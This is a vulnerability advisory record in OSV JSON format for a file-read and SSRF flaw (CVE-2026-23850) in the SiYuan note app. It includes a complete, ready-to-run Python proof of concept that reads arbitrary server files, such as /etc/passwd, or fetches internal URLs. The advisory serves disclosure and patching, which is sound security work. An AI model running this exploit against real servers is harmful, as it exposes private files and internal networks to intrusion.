Files
vuln-osv/data/Go/GHSA-cv54-7wv7-qxcw.json
T

1 line
6.5 KiB
JSON
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
{"schema_version":"1.9.0","id":"GHSA-cv54-7wv7-qxcw","published":"2026-01-21T01:02:00Z","modified":"2026-02-03T22:40:58.962376Z","aliases":["CVE-2026-23850","GO-2026-4347"],"summary":"SiYuan vulnerable to Arbitrary file Read / SSRF","details":"### Summary\nMarkdown feature allows unrestricted server side html-rendering which allows arbitary file read (LFD) and fully SSRF access\nWe in @0xL4ugh ( @abdoghazy2015, @xtromera, @A-z4ki, @ZeyadZonkorany and @KarimTantawey) During playing Null CTF 2025 that helps us solved a challenge with unintended way : )\n\nPlease note that we used the latest Version and deployed it via this dockerfile : \n\nDockerfile:\n```\nFROM b3log/siyuan\n\nENV TZ=America/New_York \\\n PUID=1000 \\\n PGID=1000 \\\n SIYUAN_ACCESS_AUTH_CODE=SuperSecretPassword\n \nRUN mkdir -p /siyuan/workspace\n\nCOPY ./startup.sh /opt/siyuan/startup.sh\nRUN chmod +x /opt/siyuan/startup.sh\n\nEXPOSE 6806\n\nENTRYPOINT [\"sh\", \"-c\", \"/opt/siyuan/startup.sh\"]\n```\n\nstartup.sh\n```sh\n#!/bin/sh\nset -e\necho \"nullctf{secret}\" > \"/flag_random.txt\"\nexec ./entrypoint.sh\n\n```\ndocker-compose.yaml:\n\n```yaml\nservices:\n main:\n build: .\n ports:\n - 6806:6806\n restart: unless-stopped\n environment:\n - TZ=America/New_York\n - PUID=1000\n - PGID=1000\n container_name: archivists_whisper\n```\n### Details\nAs you can see here : https://github.com/siyuan-note/siyuan/blob/v3.4.2/kernel/api/filetree.go#L799-L886\nin `createDocWithMd` function\nthe `markdown` parameter is being passed to the model.CreateWithMarkdown without any sanitization \nwhile here : https://github.com/siyuan-note/siyuan/blob/master/kernel/model/file.go#L1035 the input is being passed to `luteEngine.Md2BlockDOM(md, false)` without any sanitization too\n\n### PoC\nHere is a full Python POC ready to run \n```py\nimport requests, sys, os\n\nif len(sys.argv) >= 5 :\n TARGET = sys.argv[1].rstrip(\"/\")\n PASSWORD = sys.argv[2]\n attack_type = sys.argv[3]\n if attack_type == \"LFD\":\n file_path = f\"file://{sys.argv[4]}\"\n elif attack_type == \"SSRF\":\n file_path = f\"{sys.argv[4]}\"\nelse:\n sys.exit(f\"Usage : python3 {sys.argv[0]} http://target password LFD/SSRF filepath/link\")\n TARGET = \"http://127.0.0.1:6806\"\n PASSWORD = \"SuperSecretPassword\" # Workgroup password\n file_path = \"/etc/passwd\" # file to read\n\ns = requests.Session()\n\ndef login():\n s.post(f\"{TARGET}/api/system/loginAuth\", json={\"authCode\": PASSWORD, \"rememberMe\": True})\n\n\ndef list_notebooks():\n res = s.post(f\"{TARGET}/api/notebook/lsNotebooks\").json()\n notebooks = res[\"data\"][\"notebooks\"]\n if not notebooks:\n raise RuntimeError(\"No notebooks found – create one in the UI first\")\n notebook = notebooks[0][\"id\"]\n return notebook\n\ndef file_to_md(notebook, file_path):\n doc_id = s.post(\n f\"{TARGET}/api/filetree/createDocWithMd\",\n json={\n \"notebook\": notebook,\n \"path\": \"/pwn\",\n \"markdown\": f\"[loot]({file_path})\"\n },\n ).json()[\"data\"]\n return doc_id\n\ndef convert_file_to_asset(doc_id):\n res = s.post(f\"{TARGET}/api/format/netAssets2LocalAssets\", json={\"id\": doc_id})\n # print(f\"Debug : convert\", res.text)\n\ndef get_new_file_name_from_assets(file_path):\n res = s.post(f\"{TARGET}/api/file/readDir\", json={\"path\": \"/data/assets\"}).json()[\"data\"]\n if attack_type == \"LFD\":\n new_file_name = f\"network-asset-{os.path.splitext(os.path.basename(file_path))[0]}-\"\n else:\n new_file_name = f\"network-asset-{os.path.basename(file_path)}-\"\n # print(new_file_name)\n for file in res:\n # print(file[\"name\"])\n if new_file_name in file[\"name\"]:\n return file[\"name\"]\n \n\ndef retrieve_file_content(file_name):\n return s.get(f\"{TARGET}/assets/{file_name}\").text\n\n\nlogin()\nnotebook = list_notebooks()\ndoc_id = file_to_md(notebook, file_path)\n# print(f\"Debug : Docid\", doc_id)\nconvert_file_to_asset(doc_id)\nfile_name = get_new_file_name_from_assets(file_path)\nfile_content = retrieve_file_content(file_name)\nif len(file_content) > 0 :\n print(\"Content : \", file_content)\nelse:\n print(f\"Failed to get {file_name} try to get it manually, probably we failed to predict the new file name\")\n```\n\n### File read\n<img width=\"928\" height=\"333\" alt=\"image\" src=\"https://github.com/user-attachments/assets/8b6c81b9-106d-4d41-beaf-29ee3f6413cb\" />\n<img width=\"800\" height=\"143\" alt=\"image\" src=\"https://github.com/user-attachments/assets/87a6fab8-d1a7-4690-b157-4c6250b67b8a\" />\n\n### SSRF : \nWe spawned a python server at /tmp : 4444 and requested it the result is we could successfuly read a file from http://127.0.0.1/ghazy\n\n<img width=\"822\" height=\"63\" alt=\"image\" src=\"https://github.com/user-attachments/assets/9842aad2-1ade-45c0-9db1-fc049cf6b4cf\" />\n\n\n### Impact\nAs shown above, we could sucessfully read any file in the system and reach any internal host via SSRF : )\n\n### Solution\n\nhttps://github.com/siyuan-note/siyuan/issues/16860","affected":[{"package":{"name":"github.com/siyuan-note/siyuan/kernel","ecosystem":"Go","purl":"pkg:golang/github.com/siyuan-note/siyuan/kernel"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.0.0-20260118092326-b2274baba2e1"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/01/GHSA-cv54-7wv7-qxcw/GHSA-cv54-7wv7-qxcw.json"}}],"references":[{"type":"WEB","url":"https://github.com/siyuan-note/siyuan/security/advisories/GHSA-cv54-7wv7-qxcw"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-23850"},{"type":"WEB","url":"https://github.com/siyuan-note/siyuan/issues/16860"},{"type":"WEB","url":"https://github.com/siyuan-note/siyuan/commit/b2274baba2e11c8cf8901b0c5c871e5b27f1f6dd"},{"type":"WEB","url":"https://github.com/siyuan-note/siyuan/commit/f8f4b517077b92c90c0d7b51ac11be1b34b273ad"},{"type":"PACKAGE","url":"https://github.com/siyuan-note/siyuan"},{"type":"WEB","url":"https://github.com/siyuan-note/siyuan/blob/master/kernel/model/file.go#L1035"},{"type":"WEB","url":"https://github.com/siyuan-note/siyuan/blob/v3.4.2/kernel/api/filetree.go#L799-L886"}],"database_specific":{"cwe_ids":["CWE-22"],"github_reviewed":true,"github_reviewed_at":"2026-01-21T01:02:00Z","nvd_published_at":"2026-01-19T20:15:49Z","severity":"HIGH"},"severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:P"}]}